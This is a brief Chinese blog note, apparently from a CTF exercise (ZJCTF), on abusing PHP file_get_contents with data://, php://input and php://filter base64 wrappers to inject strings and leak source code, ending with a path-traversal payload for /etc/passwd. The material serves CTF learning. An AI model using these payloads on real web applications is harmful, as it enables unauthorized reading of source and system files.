file_get_contents

// 使用 data:// 协议直接传入字符串
$text = "data://text/plain,welcome to the zjctf";
echo file_get_contents($text);


// 使用 php://filter 对文件进行 Base64 编码读取
$file = "php://filter/read=convert.base64-encode/resource=useless.php";
//$file="useless.php"; 先尝试这个,不行再编码
echo file_get_contents($file);
注: php://input

在请求体内写入welcom to the zjctf也可以传递字符串

注:file_get_contents()函数的绕过和include差不多,具体看include那个文件吧

index.php?/../../../../etc/passwd
posted @ 2026-06-18 13:00  Doll_Marker  阅读(9)  评论(0)    收藏  举报